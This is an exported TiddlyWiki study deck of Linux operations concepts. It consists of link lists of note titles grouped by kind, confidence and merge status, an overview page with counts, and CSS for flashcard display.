* [[Linux page table hierarchy evolved from three to five levels for address space growth]]
* [[Linux process management system calls]]
* [[Match distro choice to workload requirements]]
* [[Memory oversubscription in hypervisors causes host-level paging invisible to guests]]
* [[Network problems manifest as dropped packets, retransmits, TIME_WAIT buildup]]
* [[OS patching on cordoned nodes requires reboot awareness]]
* [[Operational shortcuts in Linux escalate to severe incidents]]
* [[Package manager dependency resolution strategies differ between apt and dnf]]
* [[Per-core imbalance causes slow performance despite moderate average CPU]]
* [[Performance problems are often caused by recent changes]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
* [[RHEL-to-Ubuntu migration requires mapping tools and config locations]]
* [[SUSE family specializes in enterprise and snapshot-based updates]]
* [[Senior incident response: diagnose before treating]]
* [[Standardize distro families by workload role, not globally]]
* [[Standardized user onboarding with scripted account creation and setup]]
* [[Systematic layer-by-layer troubleshooting isolates network failures methodically]]
* [[The 60-second performance triage checklist covers all four resources]]
* [[The find -perm flag syntax requires understanding bit-matching semantics]]
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[vm.min_free_kbytes must balance deadlock risk against waste]]
!! MOC — confidence low
Atoms with confidence in the ''low'' band (3 total).
* [[Root cause: config changes without backup lose original content]]
* [[Root cause: destructive commands on wrong target destroy data]]
* [[Root cause: running as root unnecessarily enables typo cascade]]
!! MOC — merged atoms
Atoms that were consolidated from 2+ source concepts during cross-dedup (147 total). Reading these is a cheap way to see where the pipeline found duplication worth collapsing.
* [["No space left on device" may mean inode exhaustion, not full blocks]]
* [[/etc directory purpose and conventions]]
* [[/etc/skel — skeleton directory for new user home setup]]
* [[Alpine's musl libc breaks glibc-compiled binaries]]
* [[AppArmor: path-based MAC on Debian, Ubuntu, and SUSE]]
* [[Audit logs must be shipped off-host to remain trustworthy]]
* [[Audit rules immutability via -e 2 prevents runtime tampering]]
* [[Auditing SUID and SGID binaries for privilege escalation]]
* [[BPF originated as in-kernel packet filtering and evolved into eBPF]]
* [[Check disk/filesystem usage with df and du]]
* [[Check which ports are open or listening on Linux]]
* [[Checking Linux memory and CPU stats]]
* [[Container network namespace: isolation and connectivity model]]
* [[Containers need a proper init (tini/dumb-init) for PID 1]]
* [[Containers vs. VMs: kernel sharing vs. hardware virtualization]]
* [[Defense in depth: layered security controls]]
* [[Deleted open files hold disk space until last fd closes]]
* [[Diagnosing disk I/O bottlenecks with iostat and iotop]]
* [[Diagnosing memory leaks in long-running Linux processes]]
* [[Differences between Unix, Linux, BSD, and GNU]]
* [[Docker volumes: persistent storage outside the container layer]]
* [[File descriptor in Linux/Unix]]
* [[Find which package owns a file on Linux]]
* [[Find which process is listening on a port]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
* [[Hard links vs symbolic links: inode perspective]]
* [[How do you safely modify vendor unit files?]]
* [[How to get rid of zombie processes?]]
* [[Identifying which process generates the most disk I/O]]
* [[In-place config edits without backup cause irrecoverable loss]]
* [[KVM (Kernel-based Virtual Machine)]]
* [[Kernel space vs. user space in Linux]]
* [[Kill a process locking or writing to a file]]
* [[LUKS encrypts block devices via dm-crypt with multiple key slots]]
* [[LVM (Logical Volume Manager) in Linux]]
* [[LVM three-layer abstraction: PV → VG → LV]]
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
* [[Linux bridge: Layer 2 virtual switch for network segments]]
* [[Linux capabilities fragment root privileges into granular units]]
* [[Linux distro support lifecycles compared]]
* [[Linux kernel features that enable containers]]
* [[Linux kernel license: GPLv2 only]]
* [[Linux memory overcommitment and vm.overcommit_memory]]
* [[Linux network bonding modes]]
* [[Linux package management: RPM and DEB ecosystems]]
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[Linux process management system calls]]
* [[Linux system log files and their locations]]
* [[Listing currently mounted filesystems (mount, findmnt)]]
* [[Log4Shell (CVE-2021-44228): RCE in Apache Log4j 2]]
* [[Magic SysRq and the REISUB emergency reboot sequence]]
* [[Magic SysRq keys for debugging hung Linux systems]]
* [[MemAvailable is the only meaningful memory saturation metric]]
* [[MemFree vs MemAvailable in /proc/meminfo]]
* [[Multi-homed hosts need arp_ignore and arp_announce tuning]]
* [[NFS (Network File System)]]
* [[NFS fstab entries require _netdev and nofail flags]]
* [[NUMA misconfiguration on multi-socket servers causes 30–40% throughput loss]]
* [[Not checking disk space before large writes crashes services]]
* [[OCI specifications define portable container images and execution]]
* [[OOMKill sends SIGKILL (exit code 137)]]
* [[PXE boot: network-based server bootstrapping via DHCP, TFTP, and kernel loading]]
* [[Process state D means uninterruptible I/O wait — cannot be killed]]
* [[RAID levels: 0, 1, 5, 6, and 10 explained]]
* [[Read-only bind mount requires a two-step setup]]
* [[Recovering from a bad /etc/fstab entry that prevents boot]]
* [[Red Hat family: distros, tooling, and enterprise positioning]]
* [[Rootless containers]]
* [[Running as Root Directly Converts Typos Into Uncontained System Damage]]
* [[Running as root amplifies blast radius of operator error]]
* [[SELinux vs AppArmor: MAC models compared]]
* [[SIGHUP, SIGINT, SIGKILL, and SIGTERM POSIX signals. Explain.]]
* [[SIGTERM allows graceful shutdown; SIGKILL forces immediate termination]]
* [[Schedule one-time jobs with at, batch, and related commands]]
* [[System call (syscall): user-space to kernel interface]]
* [[Test fstab changes with mount -a before rebooting]]
* [[The /proc virtual filesystem]]
* [[The Linux kernel: what it is and how it works]]
* [[The loopback (lo) interface]]
* [[Three journaling modes in ext3/ext4]]
* [[Transparent Huge Pages cause latency in memory-sensitive databases]]
* [[Typos in destructive commands cause irreversible data loss]]
* [[Use find -delete instead of rm -rf * for millions of files]]
* [[What are the key fields in an /etc/fstab entry, and what does a typical line look like?]]
* [[What does `$!` contain?]]
* [[What does `$#` contain?]]
* [[What does `$$` contain?]]
* [[What does `$0` contain?]]
* [[What does `$?` contain?]]
* [[What does `${var#pattern}` do?]]
* [[What does `${var:-default}` do?]]
* [[What does `/proc/cpuinfo` contain?]]
* [[What does `/proc/meminfo` contain?]]
* [[What does `2>&1` do?]]
* [[What does umask control?]]
* [[What is /proc/loadavg?]]
* [[What is SNI (Server Name Indication)?]]
* [[What is a Daemon in Linux?]]
* [[What is a Linux distribution (distro)?]]
* [[What is a superuser or root user? How is it different from regular users?]]
* [[What is a systemd timer?]]
* [[What is a zombie/defunct process?]]
* [[What is an inode, and what does it store?]]
* [[What is an inode? How to find file's inode number and how can you use it?]]
* [[What is lazy umount in Linux and when would you use it?]]
* [[What is load average?]]
* [[What is the difference between /dev/random and /dev/urandom?]]
* [[What is the difference between DAC and MAC?]]
* [[What is the difference between a "Zombie" process and an "Orphan" process?]]
* [[What is the difference between a process and a thread?]]
* [[What is the difference between block and character devices?]]
* [[What is the difference between find and locate?]]
* [[What is the file /etc/resolv.conf used for? What does it contain?]]
* [[What is the principle of least privilege?]]
* [[What is vm.swappiness and how does it control memory management?]]
* [[What signal does the `kill` command send by default, and how does it differ from SIGKILL?]]
* [[When to choose XFS for data drives]]
* [[Where does the name "grep" come from?]]
* [[`df` vs `du`: filesystem-level vs directory-level disk usage]]
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[auditd: kernel-level security audit logging for Linux]]
* [[blkid: display block device attributes (UUID, type, label)]]
* [[cat command: short for concatenate]]
* [[cgroups: Google's solution for resource isolation on shared fleets]]
* [[dmesg contains the definitive OOM killer diagnostic information]]
* [[eBPF tracing capabilities: CAP_BPF and CAP_PERFMON vs CAP_SYS_ADMIN]]
* [[ext4 inode count is fixed at mkfs time; XFS allocates dynamically]]
* [[ext4 vs XFS vs Btrfs: filesystem comparison]]
* [[ip command: modern Linux network configuration (iproute2)]]
* [[iptables vs nftables - what matters?]]
* [[journalctl: primary tool for querying the systemd journal]]
* [[libvirt: virtualization management API and toolkit]]
* [[ls command: list directory contents]]
* [[lsblk: display block device hierarchy]]
* [[nsenter joins container namespaces from host for tool-free debugging]]
* [[oom_score_adj and Kubernetes QoS determine OOM kill priority]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[seccomp: Linux syscall restriction for process sandboxing]]
* [[sudo logging to syslog enables post-incident forensics and audit]]
* [[sysctl: runtime application and persistence of kernel parameters]]
* [[systemctl enable vs start: boot persistence vs immediate activation]]
* [[systemd-resolved: Linux local caching stub resolver]]
* [[tcp_tw_recycle breaks NAT clients and was removed in Linux 4.12]]
* [[tmpfs: RAM-backed filesystem — behavior, uses, and limits]]
* [[traceroute: how it works and common usage]]
* [[vm.swappiness controls cache vs. swap priority, not swap threshold]]
* [[vm.swappiness tuning for latency-sensitive servers]]
!! Maps of Content
! By kind
* [[MOC: compendium q&a]]
* [[MOC: flashcards]]
* [[MOC: footguns]]
* [[MOC: other]]
! By confidence
* [[MOC: confidence high]]
* [[MOC: confidence mid]]
* [[MOC: confidence low]]
! Quality
* [[MOC: merged atoms]]
canonical atomic concepts from linux-ops, linux-performance, and related sources
GettingStarted
[[MOC: index]]
[[GettingStarted]]
[[MOC: index]]
----
''By kind''
* [[MOC: footguns]]
* [[MOC: trivia]]
* [[MOC: flashcards]]
* [[MOC: compendium q&a]]
* [[MOC: primer]]
* [[MOC: anti-primer]]
* [[MOC: street ops]]
* [[MOC: cheatsheet]]
----
''By confidence''
* [[MOC: confidence high]]
* [[MOC: confidence mid]]
----
''Quality''
* [[MOC: merged atoms]]
!! Linux & ops — atoms deck
''1677 atoms'' — canonical atomic concepts from linux-ops, linux-performance, and related sources
//Each tiddler is one atomic concept. Sources and related atoms are listed in the footer. Cross-dedup has already merged duplicates, so every concept should appear exactly once.//
! Start here
* [[MOC: index]] — master index of MOCs
* [[MOC: merged atoms]] — concepts consolidated from multiple sources
! Breakdown — by kind
|!Kind|!Count|!Jump|h
|Compendium Q&A|735|[[MOC: compendium q&a]]|
|Flashcards|669|[[MOC: flashcards]]|
|Other|252|[[MOC: other]]|
|Footguns|21|[[MOC: footguns]]|
! Breakdown — by confidence
|!Band|!Count|!Jump|h
|high|1630|[[MOC: confidence high]]|
|mid|44|[[MOC: confidence mid]]|
|low|3|[[MOC: confidence low]]|
! Pipeline provenance
* Raw extracted atoms (whole corpus): 17641
* After intra-source dedup (whole corpus): 7753
* In this deck (domain = linux, post cross-dedup): 1677
* Atoms in this deck merged from multiple sources: 147
See ''FULL-CORPUS-REPORT.md'' in the grokzett repo for full metrics.
/* grokzett TWC deck theme overrides */
body, #contentWrapper { font-family: -apple-system, "Segoe UI", Roboto, "Helvetica Neue", sans-serif; }
.tiddler { margin-bottom: 1.5em; }
.tiddler .title { font-size: 1.4em; letter-spacing: -0.01em; }
.viewer { line-height: 1.55; }
.viewer h1, .viewer h2, .viewer h3 { border-bottom: none; margin-top: 1.2em; }
.viewer h1 { font-size: 1.35em; }
.viewer h2 { font-size: 1.20em; }
.viewer h3 { font-size: 1.05em; color: #444; }
.viewer blockquote { border-left: 3px solid #c9d6df; margin: 1em 0; padding: 0.2em 1em; background: #f6f9fb; color: #333; }
.viewer code { background: #f2f2f2; padding: 1px 5px; border-radius: 3px; font-size: 0.92em; }
.viewer pre { background: #282c34; color: #abb2bf; padding: 0.8em 1em; border-radius: 6px; overflow-x: auto; font-size: 0.88em; line-height: 1.4; }
.viewer pre code { background: transparent; padding: 0; color: inherit; border-radius: 0; }
.viewer pre.literal { background: #282c34; color: #abb2bf; }
.viewer table { border-collapse: collapse; margin: 1em 0; font-size: 0.92em; width: auto; }
.viewer th, .viewer td { border: 1px solid #d8dee4; padding: 6px 10px; }
.viewer th { background: #eef2f6; text-align: left; }
.viewer tr:nth-child(even) td { background: #fbfcfd; }
.viewer hr { border: none; border-top: 1px solid #dde3e9; margin: 1.5em 0; }
.tagged { background: #eef5fb; padding: 4px 8px; border-radius: 4px; margin-right: 4px; }
/* grokzett status controls (injected by features.js per tiddler) */
.grokzett-status {
font-size: 0.85em; margin: 0.3em 0 1em; color: #555;
display: flex; align-items: center; gap: 6px;
}
.grokzett-status .gz-label { color: #888; letter-spacing: 0.02em; }
.grokzett-status button {
border: 1px solid #c9d6df; background: #f7f9fb; padding: 2px 10px;
font-size: 0.92em; cursor: pointer; border-radius: 12px; color: #333;
}
.grokzett-status button:hover { background: #e6edf3; }
.grokzett-status button.active { background: #2b6cb0; color: white; border-color: #2b6cb0; }
/* Fixed filter bar (top-right) */
.grokzett-filter-bar {
position: fixed; top: 10px; right: 10px; z-index: 10000;
background: #2d3748; color: #e2e8f0;
padding: 8px 14px; border-radius: 8px;
font-size: 0.85em; font-family: -apple-system, "Segoe UI", Roboto, sans-serif;
display: flex; align-items: center; gap: 12px;
box-shadow: 0 3px 12px rgba(0,0,0,0.25);
}
.grokzett-filter-bar .gz-title { font-weight: 600; letter-spacing: 0.02em; }
.grokzett-filter-bar select, .grokzett-filter-bar button {
background: #4a5568; color: #e2e8f0; border: 1px solid #718096;
border-radius: 4px; padding: 2px 8px; font: inherit;
}
.grokzett-filter-bar button { cursor: pointer; }
.grokzett-filter-bar button:hover { background: #5a6678; }
.grokzett-filter-bar label { display: flex; align-items: center; gap: 4px; }
.grokzett-filter-bar #gz-counts { opacity: 0.75; font-size: 0.95em; }
/* Subtle status badge on each tiddler (color bar at left) */
.tiddler[data-gz-status="learning"] { border-left: 3px solid #ed8936; padding-left: 8px; }
.tiddler[data-gz-status="known"] { border-left: 3px solid #48bb78; padding-left: 8px; opacity: 0.7; }
/* Cloze spans — trivia mode */
.gz-cloze {
background: #f6e05e; color: #f6e05e; border-radius: 3px; padding: 0 4px;
cursor: pointer; user-select: none; transition: color 0.15s;
}
.gz-cloze.revealed { color: #533f03; background: #fef6ad; }
/* Flashcard Q/A layout */
.gz-flash-a {
margin-top: 1em; padding: 0.8em 1em; background: #f7fafc;
border-radius: 6px; border: 1px solid #e2e8f0; position: relative;
}
.gz-flash-a.hidden > * { filter: blur(5px); user-select: none; }
.gz-flash-a.hidden { cursor: pointer; }
.gz-flash-a.hidden::after {
content: "click to reveal answer";
position: absolute; left: 0; right: 0; top: 50%; transform: translateY(-50%);
text-align: center; color: #718096; font-size: 0.9em; letter-spacing: 0.05em;
pointer-events: none;
}
.gz-flash-a:not(.hidden) { border-left: 4px solid #48bb78; }